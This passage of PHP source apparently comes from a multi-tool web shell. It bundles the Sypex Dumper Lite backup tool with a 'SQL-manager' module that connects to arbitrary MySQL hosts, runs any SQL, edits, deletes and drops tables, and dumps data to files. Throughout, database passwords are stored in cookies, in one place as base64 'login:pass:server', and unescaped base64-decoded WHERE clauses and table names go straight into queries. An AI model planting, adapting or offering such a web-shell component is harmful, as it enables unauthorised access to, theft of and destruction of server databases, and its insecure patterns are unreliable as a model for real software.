</FORM>
</TR>
</TABLE></TD>
</TR>

</TABLE></TD>
</TR>
</TABLE>
</TD>
</TR>
</TABLE>
</BODY>
</HTML>
HTML;
}
echo $skname;
function tpl_main(){
global $SK;
return <<<HTML
<FIELDSET onClick="document.skb.action[0].checked = 1;">
<LEGEND>
<INPUT TYPE=radio NAME=action VALUE=backup>
Backup / Создание резервной копии БД&nbsp;</LEGEND>
<TABLE WIDTH=100% BORDER=0 CELLSPACING=0 CELLPADDING=2>

<TR>
<TD WIDTH=35%>БД:</TD>
<TD WIDTH=65%><SELECT NAME=db_backup>
{$SK->vars['db_backup']}
</SELECT></TD>
</TR>
<TR>
<TD>Фильтр таблиц:</TD>
<TD><INPUT NAME=tables TYPE=text CLASS=text VALUE='{$SK->vars['tables']}'></TD>
</TR>
<TR>
<TD>Метод сжатия:</TD>
<TD><SELECT NAME=comp_method>
{$SK->vars['comp_methods']}

</SELECT></TD>
</TR>
<TR>
<TD>Степень сжатия:</TD>
<TD><SELECT NAME=comp_level>
{$SK->vars['comp_levels']}
</SELECT></TD>
</TR>
</TABLE>
</FIELDSET>
<FIELDSET onClick="document.skb.action[1].checked = 1;">
<LEGEND>
<INPUT TYPE=radio NAME=action VALUE=restore>
Restore / Восстановление БД из резервной копии&nbsp;</LEGEND>
<TABLE WIDTH=100% BORDER=0 CELLSPACING=0 CELLPADDING=2>

<TR>
<TD>БД:</TD>
<TD><SELECT NAME=db_restore>
{$SK->vars['db_restore']}
</SELECT></TD>
</TR>
<TR>
<TD WIDTH=35%>Файл:</TD>
<TD WIDTH=65%><SELECT NAME=file>
{$SK->vars['files']}
</SELECT></TD>
</TR>
</TABLE>
</FIELDSET>
</SPAN>

<SCRIPT>
document.skb.action[{$SK->SET['last_action']}].checked = 1;
</SCRIPT>

HTML;
}

function tpl_process($title){
return <<<HTML
<FIELDSET>
<LEGEND>{$title}&nbsp;</LEGEND>
<TABLE WIDTH=100% BORDER=0 CELLSPACING=0 CELLPADDING=2>
<TR><TD COLSPAN=2><DIV ID=logarea STYLE="width: 100%; height: 140px; border: 1px solid #7F9DB9; padding: 3px; overflow: auto;"></DIV></TD></TR>
<TR><TD WIDTH=31%>Статус таблицы:</TD><TD WIDTH=69%><TABLE WIDTH=100% BORDER=1 CELLPADDING=0 CELLSPACING=0>
<TR><TD BGCOLOR=#FFFFFF><TABLE WIDTH=1 BORDER=0 CELLPADDING=0 CELLSPACING=0 BGCOLOR=#5555CC ID=st_tab
STYLE="FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#CCCCFF,endColorStr=#5555CC);
border-right: 1px solid #AAAAAA"><TR><TD HEIGHT=12></TD></TR></TABLE></TD></TR></TABLE></TD></TR>
<TR><TD>Общий статус:</TD><TD><TABLE WIDTH=100% BORDER=1 CELLSPACING=0 CELLPADDING=0>
<TR><TD BGCOLOR=#FFFFFF><TABLE WIDTH=1 BORDER=0 CELLPADDING=0 CELLSPACING=0 BGCOLOR=#00AA00 ID=so_tab
STYLE="FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#CCFFCC,endColorStr=#00AA00);
border-right: 1px solid #AAAAAA"><TR><TD HEIGHT=12></TD></TR></TABLE></TD>

</TR></TABLE></TD></TR></TABLE>
</FIELDSET>
<SCRIPT>
var WidthLocked = false;
function s(st, so){
	document.getElementById('st_tab').width = st ? st + '%' : '1';
	document.getElementById('so_tab').width = so ? so + '%' : '1';
}
function l(str, color){
	switch(color){
		case 2: color = 'navy'; break;
		case 3: color = 'red'; break;
		case 4: color = 'maroon'; break;
		default: color = 'black';
	}
	with(document.getElementById('logarea')){
		if (!WidthLocked){
			style.width = clientWidth;
			WidthLocked = true;
		}
		str = '<FONT COLOR=' + color + '>' + str + '</FONT>';
		innerHTML += innerHTML ? "<BR>\\n" + str : str;
		scrollTop += 14;
	}
}
</SCRIPT>
HTML;
}

function tpl_auth($error){
return <<<HTML
<SPAN ID=error>
<FIELDSET>
<LEGEND>Ошибка</LEGEND>
<TABLE WIDTH=100% BORDER=0 CELLSPACING=0 CELLPADDING=2>
<TR>
<TD>Для работы Sypex Dumper Lite требуется:<BR> - Internet Explorer 5.5+, Mozilla либо Opera 8+ (<SPAN ID=sie>-</SPAN>)<BR> - включено выполнение JavaScript скриптов (<SPAN ID=sjs>-</SPAN>)</TD>

</TR>
</TABLE>
</FIELDSET>
</SPAN>
<SPAN ID=body STYLE="display: none;">
{$error}
<FIELDSET>
<LEGEND>Введите логин и пароль</LEGEND>
<TABLE WIDTH=100% BORDER=0 CELLSPACING=0 CELLPADDING=2>
<TR>
<TD WIDTH=41%>Сервер:</TD>
<TD WIDTH=59%><INPUT NAME=server TYPE=text CLASS=text></TD>
</TR>
<TR>
<TD WIDTH=41%>Логин:</TD>

<TD WIDTH=59%><INPUT NAME=login TYPE=text CLASS=text></TD>
</TR>
<TR>
<TD>Пароль:</TD>
<TD><INPUT NAME=pass TYPE=password CLASS=text></TD>
</TR>
</TABLE>
</FIELDSET>
</SPAN>
<SCRIPT>
document.getElementById('sjs').innerHTML = '+';
document.getElementById('body').style.display = '';
document.getElementById('error').style.display = 'none';
var jsEnabled = true;
</SCRIPT>
HTML;
}

function tpl_l($str, $color = C_DEFAULT){
$str = preg_replace("/\s{2}/", " &nbsp;", $str);
return <<<HTML
<SCRIPT>l('{$str}', $color);</SCRIPT>

HTML;
}

function tpl_enableBack(){
return <<<HTML
<SCRIPT>document.getElementById('back').disabled = 0;</SCRIPT>

HTML;
}

function tpl_s($st, $so){
$st = round($st * 100);
$st = $st > 100 ? 100 : $st;
$so = round($so * 100);
$so = $so > 100 ? 100 : $so;
return <<<HTML
<SCRIPT>s({$st},{$so});</SCRIPT>

HTML;
}

function tpl_backup_index(){
return <<<HTML
<CENTER>

<H1>У вас нет прав для просмотра этого каталога</H1>
</CENTER>

HTML;
}

function tpl_error($error){
return <<<HTML
<FIELDSET>
<LEGEND>Ошибка при подключении к БД</LEGEND>
<TABLE WIDTH=100% BORDER=0 CELLSPACING=0 CELLPADDING=2>
<TR>
<TD ALIGN=center>{$error}</TD>
</TR>
</TABLE>
</FIELDSET>

HTML;
}

function SXD_errorHandler($errno, $errmsg, $filename, $linenum, $vars) {
	if ($errno == 2048) return true;
	if (preg_match("/chmod\(\).*?: Operation not permitted/", $errmsg)) return true;
    $dt = date("Y.m.d H:i:s");
    $errmsg = addslashes($errmsg);

	echo tpl_l("{$dt}<BR><B>Возникла ошибка!</B>", C_ERROR);
	echo tpl_l("{$errmsg} ({$errno})", C_ERROR);
	echo tpl_enableBack();
	die();
}

$is_safe_mode = ini_get('safe_mode') == '1' ? 1 : 0;
if (!$is_safe_mode && function_exists('set_time_limit')) set_time_limit(TIME_LIMIT);

header("Expires: Tue, 1 Jul 2003 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Pragma: no-cache");

$timer = array_sum(explode(' ', microtime()));
ob_implicit_flush();
error_reporting(E_ALL);

$auth = 0;
$error = '';
if (@trim($_POST['server'])=='') {@$ipodb='localhost';} else {@$ipodb=trim($_POST['server']);}
@$servak=$ipodb.':3306';

if (!empty($_POST['login']) && isset($_POST['pass'])) {
	if (@mysql_connect($servak, $_POST['login'], $_POST['pass'])){
		setcookie("sxd", base64_encode("SKD101:{$_POST['login']}:{$_POST['pass']}:{$servak}"));
		mysql_close();

if (@mysql_connect($servak, $_POST['login'], $_POST['pass'])){
		$auth = 1;
	}
	else{
		$error = '#' . mysql_errno() . ': ' . mysql_error();
	}	

	}
	else{
		$error = '#' . mysql_errno() . ': ' . mysql_error();
	}
}
elseif (!empty($_COOKIE['sxd'])) {
    $user = explode(":", base64_decode($_COOKIE['sxd']));
	if (@mysql_connect($user[3], $user[1], $user[2])){
		$auth = 1;
	}
	else{
		$error = '#' . mysql_errno() . ': ' . mysql_error();
	}
}

if (!$auth || (isset($_SERVER['QUERY_STRING']) && $_SERVER['QUERY_STRING'] == 'reload') or @$_POST['out']=='ok') {
	setcookie("sxd");
	echo tpl_page(tpl_auth($error ? tpl_error($error) : ''), "<SCRIPT>if (jsEnabled) {document.write('<INPUT TYPE=submit VALUE=Применить>');}</SCRIPT>");
	echo "<SCRIPT>document.getElementById('timer').innerHTML = '" . round(array_sum(explode(' ', microtime())) - $timer, 4) . " сек.'</SCRIPT>";
	exit;
}

$SK = new dumper();
define('C_DEFAULT', 1);
define('C_RESULT', 2);
define('C_ERROR', 3);
define('C_WARNING', 4);

$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : '';
switch($action){
	case 'backup':
		$SK->backup();
		break;
	case 'restore':
		$SK->restore();
		break;
	default:
		$SK->main();
}

mysql_close();

echo "<SCRIPT>document.getElementById('timer').innerHTML = '" . round(array_sum(explode(' ', microtime())) - $timer, 4) . " сек.'</SCRIPT>";

}elseif($_POST['scr']=='sqlman' or $_GET['scr']=='sqlman') {

?>
<title>SQL-manager</title>

<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
</style>

<script type="text/javascript">
function CheckAll(form) {
	for(var i=0;i<form.elements.length;i++) {
		var e = form.elements[i];
		if (e.name != 'chkall')
		e.checked = form.chkall.checked;
    }
}
function $(id) {
	return document.getElementById(id);
}
function goaction(act){
	$('goaction').action.value=act;
	$('goaction').submit();
}
</script>

<script type="text/javascript">
function editrecord(action, base64, tablename){
	if (action == 'del') {		
		if (!confirm('Is or isn\'t deletion record?')) return;
	}
	$('recordlist').doing.value=action;
	$('recordlist').base64.value=base64;
	$('recordlist').tablename.value=tablename;
	$('recordlist').submit();
}
function moddbname(dbname) {
	if(!dbname) return;
	$('setdbname').dbname.value=dbname;
	$('setdbname').submit();
}
function settable(tablename,doing,page) {
	if(!tablename) return;
	if (doing) {
		$('settable').doing.value=doing;
	}
	if (page) {
		$('settable').page.value=page;
	}
	$('settable').tablename.value=tablename;
	$('settable').submit();
}
</script>
<?

function m($msg) {
	echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
	echo $msg;
	echo '</div>';
}

function html_clean($content) {
	$content = htmlspecialchars($content);
	$content = str_replace("\n", "<br />", $content);
	$content = str_replace("  ", "&nbsp;&nbsp;", $content);
	$content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
	return $content;
}


function bg() {
	global $bgc;
	return ($bgc++%2==0) ? 'alt1' : 'alt2';
}

function sizecount($size) {
	if($size > 1073741824) {
		$size = round($size / 1073741824 * 100) / 100 . ' G';
	} elseif($size > 1048576) {
		$size = round($size / 1048576 * 100) / 100 . ' M';
	} elseif($size > 1024) {
		$size = round($size / 1024 * 100) / 100 . ' K';
	} else {
		$size = $size . ' B';
	}
	return $size;
}


function qy($sql) { 

	$res = $error = '';
	if(!$res = @mysql_query($sql)) { 
		return 0;
	} else if(is_resource($res)) {
		return 1; 
	} else {
		return 2;
	}	
	return 0;
}


function p($str){
	echo $str."\n";
}

function formfoot(){
	p('<INPUT TYPE=hidden NAME=scr VALUE=sqlman></form>');
}

function makeinput($arg = array()){
	$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
	$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
	!$arg['type'] && $arg['type'] = 'text';
	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
	$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
	if ($arg['newline']) {
		p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
	} else {
		p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
	}
}


function makehide($name,$value=''){
	p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}

function makeselect($arg = array()){
	if ($arg['onchange']) {
		$onchange = 'onchange="'.$arg['onchange'].'"';
	}
	$arg['title'] = $arg['title'] ? $arg['title'] : '';
	if ($arg['newline']) p('<p>');
	p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
		if (is_array($arg['option'])) {
			foreach ($arg['option'] as $key=>$value) {
				if ($arg['selected']==$key) {
					p("<option value=\"$key\" selected>$value</option>");
				} else {
					p("<option value=\"$key\">$value</option>");
				}
			}
		}
	p("</select>");
	if ($arg['newline']) p('</p>');
}

function tbhead() {
	p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}

function tbfoot(){
	p('</table>');
}


function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
	if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
		p('<h2>Can not connect to MySQL server</h2>');
		exit;
	}
	if($link && $dbname) {
		if (!@mysql_select_db($dbname, $link)) {
			p('<h2>Database selected has error</h2>');
			exit;
		}
	}
	if($link && mysql_get_server_info() > '4.1') {
		if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
			q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
		}
	}
	return $link;
}

function q($sql) { 
	return @mysql_query($sql);
}

function fr($qy){
	mysql_free_result($qy);
}


function formhead($arg = array()) {
	!$arg['method'] && $arg['method'] = 'post';
	!$arg['action'] && $arg['action'] = $self;
	$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
	!$arg['name'] && $arg['name'] = 'form1';
	p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
	if ($arg['title']) {
		p('<h2>'.$arg['title'].' &raquo;</h2>');
	}
}

function multi($num, $perpage, $curpage, $tablename) {
	$multipage = '';
	if($num > $perpage) {
		$page = 10;
		$offset = 5;
		$pages = @ceil($num / $perpage);
		if($page > $pages) {
			$from = 1;
			$to = $pages;
		} else {
			$from = $curpage - $offset;
			$to = $curpage + $page - $offset - 1;
			if($from < 1) {
				$to = $curpage + 1 - $from;
				$from = 1;
				if(($to - $from) < $page && ($to - $from) < $pages) {
					$to = $page;
				}
			} elseif($to > $pages) {
				$from = $curpage - $pages + $to;
				$to = $pages;
				if(($to - $from) < $page && ($to - $from) < $pages) {
					$from = $pages - $page + 1;
				}
			}
		}
		$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
		for($i = $from; $i <= $to; $i++) {
			$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
		}
		$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
		$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
	}
	return $multipage;
}

if ($action == 'sqladmin' or $action == '') {
	!$dbhost &&  $dbhost = $_COOKIE['dbhost'];
	!$dbhost && !$_COOKIE['dbhost'] && $dbhost = 'localhost';
	!$dbport && $dbport = '3306';
	!$dbuser && $dbuser = $_COOKIE['dbuser'];	
	!$dbpass && $dbpass = $_COOKIE['dbpass'];
	$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
	if(isset($dbhost)){
		$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
	}
	if(isset($dbuser)) {
		$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
	}
	if(isset($dbpass)) {
		$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
	}
	if(isset($dbport)) {
		$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
	}
	if(isset($dbname)) {
		$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
	}
	if(isset($charset)) {
		$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
	}

	if ($doing == 'backupmysql' && $saveasfile) {
		if (!$table) {
			m('Please choose the table');
		} else {
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			$table = array_flip($table);
			$fp = @fopen($path,'w');
			if ($fp) {
				$result = q('SHOW tables');
				if (!$result) p('<h2>'.mysql_error().'</h2>');
				$mysqldata = '';
				while ($currow = mysql_fetch_array($result)) {
					if (isset($table[$currow[0]])) {
						sqldumptable($currow[0], $fp);
					}
				}
				fclose($fp);
				$fileurl = str_replace(SA_ROOT,'',$path);
				m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
				mysql_close();
			} else {
				m('Backup failed');
			}
		}
	}
	if ($insert && $insertsql) {
		$keystr = $valstr = $tmp = '';
		foreach($insertsql as $key => $val) {
			if ($val) {
				$keystr .= $tmp.$key;
				$valstr .= $tmp."'".addslashes($val)."'";
				$tmp = ',';
			}
		}
		if ($keystr && $valstr) {
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
		}
	}
	if ($update && $insertsql && $base64) {
		$valstr = $tmp = '';
		foreach($insertsql as $key => $val) {
			$valstr .= $tmp.$key."='".addslashes($val)."'";
			$tmp = ',';
		}
		if ($valstr) {
			$where = base64_decode($base64);
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
		}
	}
	if ($doing == 'del' && $base64) {
		$where = base64_decode($base64);
		$delete_sql = "DELETE FROM $tablename WHERE $where";
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
		m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
	}

	if ($tablename && $doing == 'drop') {
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
		if (q("DROP TABLE $tablename")) {
			m('Drop table of success');
			$tablename = '';
		} else {
			m(mysql_error());
		}
	}

	$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');

	formhead(array('title'=>'MYSQL Manager'));
	makehide('action','sqladmin');
	p('<p>');
	p('DBHost:');
	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
	p(':');
	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
	p('DBUser:');
	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
	p('DBPass:');
	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
	p('DBCharset:');
	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
	makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
	p('</p>');
	formfoot();
?>

<script type="text/javascript">
function editrecord(action, base64, tablename){
	if (action == 'del') {		
		if (!confirm('Is or isn\'t deletion record?')) return;
	}
	$('recordlist').doing.value=action;
	$('recordlist').base64.value=base64;
	$('recordlist').tablename.value=tablename;
	$('recordlist').submit();
}
function moddbname(dbname) {
	if(!dbname) return;
	$('setdbname').dbname.value=dbname;
	$('setdbname').submit();
}
function settable(tablename,doing,page) {
	if(!tablename) return;
	if (doing) {
		$('settable').doing.value=doing;
	}
	if (page) {
		$('settable').page.value=page;
	}
	$('settable').tablename.value=tablename;
	$('settable').submit();
}
</script>


<?php
	formhead(array('name'=>'recordlist'));
	makehide('doing');
	makehide('action','sqladmin');
	makehide('base64');
	makehide('tablename');
	p($dbform);
	formfoot();

	formhead(array('name'=>'setdbname'));
	makehide('action','sqladmin');
	p($dbform);
	if (!$dbname) {
		makehide('dbname');
	}
	formfoot();

	formhead(array('name'=>'settable'));
	makehide('action','sqladmin');
	p($dbform);
	makehide('tablename');
	makehide('page',$page);
	makehide('doing');
	formfoot();

	$cachetables = array();	
	$pagenum = 30;
	$page = intval($page);
	if($page) {
		$start_limit = ($page - 1) * $pagenum;
	} else {
		$start_limit = 0;
		$page = 1;
	}
	if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);		
		
		gocookie('dbhost',$dbhost);
		gocookie('dbuser',$dbuser);
		gocookie('dbpass',$dbpass);		

		$mysqlver = mysql_get_server_info();
		p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
		$highver = $mysqlver > '4.1' ? 1 : 0;

		//»сИЎКэѕЭїв
		$query = q("SHOW DATABASES");
		$dbs = array();
		$dbs[] = '-- Select a database --';
		while($db = mysql_fetch_array($query)) {
			$dbs[$db['Database']] = $db['Database'];
		}
		makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
		$tabledb = array();
		if ($dbname) {
			p('<p>');
			p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
			if ($tablename) {
				p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
			}
			p('</p>');
			mysql_select_db($dbname);

			$getnumsql = '';
			$runquery = 0;
			if ($sql_query) {
				$runquery = 1;
			}
			$allowedit = 0;
			if ($tablename && !$sql_query) {
				$sql_query = "SELECT * FROM $tablename";
				$getnumsql = $sql_query;
				$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
				$allowedit = 1;
			}
			p('<form action="'.$self.'" method="POST">');
			p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
			makehide('tablename', $tablename);
			makehide('action','sqladmin');
			p($dbform);
			p('<INPUT TYPE=hidden NAME=scr VALUE=sqlman></form>');
			if ($tablename || ($runquery && $sql_query)) {
				if ($doing == 'structure') {
					$result = q("SHOW COLUMNS FROM $tablename");
					$rowdb = array();
					while($row = mysql_fetch_array($result)) {
						$rowdb[] = $row;
					}
					p('<table border="0" cellpadding="3" cellspacing="0">');
					p('<tr class="head">');
					p('<td>Field</td>');
					p('<td>Type</td>');
					p('<td>Null</td>');
					p('<td>Key</td>');
					p('<td>Default</td>');
					p('<td>Extra</td>');
					p('</tr>');
					foreach ($rowdb as $row) {
						$thisbg = bg();
						p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
						p('<td>'.$row['Field'].'</td>');
						p('<td>'.$row['Type'].'</td>');
						p('<td>'.$row['Null'].'&nbsp;</td>');
						p('<td>'.$row['Key'].'&nbsp;</td>');
						p('<td>'.$row['Default'].'&nbsp;</td>');
						p('<td>'.$row['Extra'].'&nbsp;</td>');
						p('</tr>');
					}
					tbfoot();
				} elseif ($doing == 'insert' || $doing == 'edit') {
					$result = q('SHOW COLUMNS FROM '.$tablename);
					while ($row = mysql_fetch_array($result)) {
						$rowdb[] = $row;
					}
					$rs = array();
					if ($doing == 'insert') {
						p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
					} else {
						p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
						$where = base64_decode($base64);
						$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
						$rs = mysql_fetch_array($result);
					}
					p('<form method="post" action="'.$self.'">');
					p($dbform);
					makehide('action','sqladmin');
					makehide('tablename',$tablename);
					p('<table border="0" cellpadding="3" cellspacing="0">');
					foreach ($rowdb as $row) {
						if ($rs[$row['Field']]) {
							$value = htmlspecialchars($rs[$row['Field']]);
						} else {
							$value = '';
						}
						$thisbg = bg();
						p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
						p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
					}
					if ($doing == 'insert') {
						p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
					} else {
						p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
						makehide('base64', $base64);
					}
					p('</table><INPUT TYPE=hidden NAME=scr VALUE=sqlman></form>');
				} else {
					$querys = @explode(';',$sql_query);
					foreach($querys as $num=>$query) {
						if ($query) {
							p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
							switch(qy($query))
							{
								case 0:
									p('<h2>Error : '.mysql_error().'</h2>');
									break;	
								case 1:
									if (strtolower(substr($query,0,13)) == 'select * from') {
										$allowedit = 1;
									}
									if ($getnumsql) {
										$tatol = mysql_num_rows(q($getnumsql));
										$multipage = multi($tatol, $pagenum, $page, $tablename);
									}
									if (!$tablename) {
										$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
										$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
										preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
										$tablename = $matches[1][0];
									}
									$result = q($query);
									p($multipage);
									p('<table border="0" cellpadding="3" cellspacing="0">');
									p('<tr class="head">');
									if ($allowedit) p('<td>Action</td>');
									$fieldnum = @mysql_num_fields($result);
									for($i=0;$i<$fieldnum;$i++){
										$name = @mysql_field_name($result, $i);
										$type = @mysql_field_type($result, $i);
										$len = @mysql_field_len($result, $i);
										p("<td nowrap>$name<br><span>$type($len)</span></td>");
									}
									p('</tr>');
									while($mn = @mysql_fetch_assoc($result)){
										$thisbg = bg();
										p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
										$where = $tmp = $b1 = '';
										foreach($mn as $key=>$inside){
											if ($inside) {
												$where .= $tmp.$key."='".addslashes($inside)."'";
												$tmp = ' AND ';
											}
											$b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
										}
										$where = base64_encode($where);
										if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
										p($b1);
										p('</tr>');
										unset($b1);
									}
									tbfoot();
									p($multipage);
									break;	
								case 2:
									$ar = mysql_affected_rows();
									p('<h2>affected rows : <b>'.$ar.'</b></h2>');
									break;
							}
						}
					}
				}
			} else {
				$query = q("SHOW TABLE STATUS");
				$table_num = $table_rows = $data_size = 0;
				$tabledb = array();
				while($table = mysql_fetch_array($query)) {
					$data_size = $data_size + $table['Data_length'];
					$table_rows = $table_rows + $table['Rows'];
					$table['Data_length'] = sizecount($table['Data_length']);
					$table_num++;
					$tabledb[] = $table;
				}
				$data_size = sizecount($data_size);
				unset($table);
				p('<table border="0" cellpadding="0" cellspacing="0">');
				p('<form action="'.$self.'" method="POST">');
				makehide('action','sqladmin');
				p($dbform);
				p('<tr class="head">');
				p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
				p('<td>Name</td>');
				p('<td>Rows</td>');
				p('<td>Data_length</td>');
				p('<td>Create_time</td>');
				p('<td>Update_time</td>');
				if ($highver) {
					p('<td>Engine</td>');
					p('<td>Collation</td>');
				}
				p('</tr>');
				foreach ($tabledb as $key => $table) {
					$thisbg = bg();
					p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
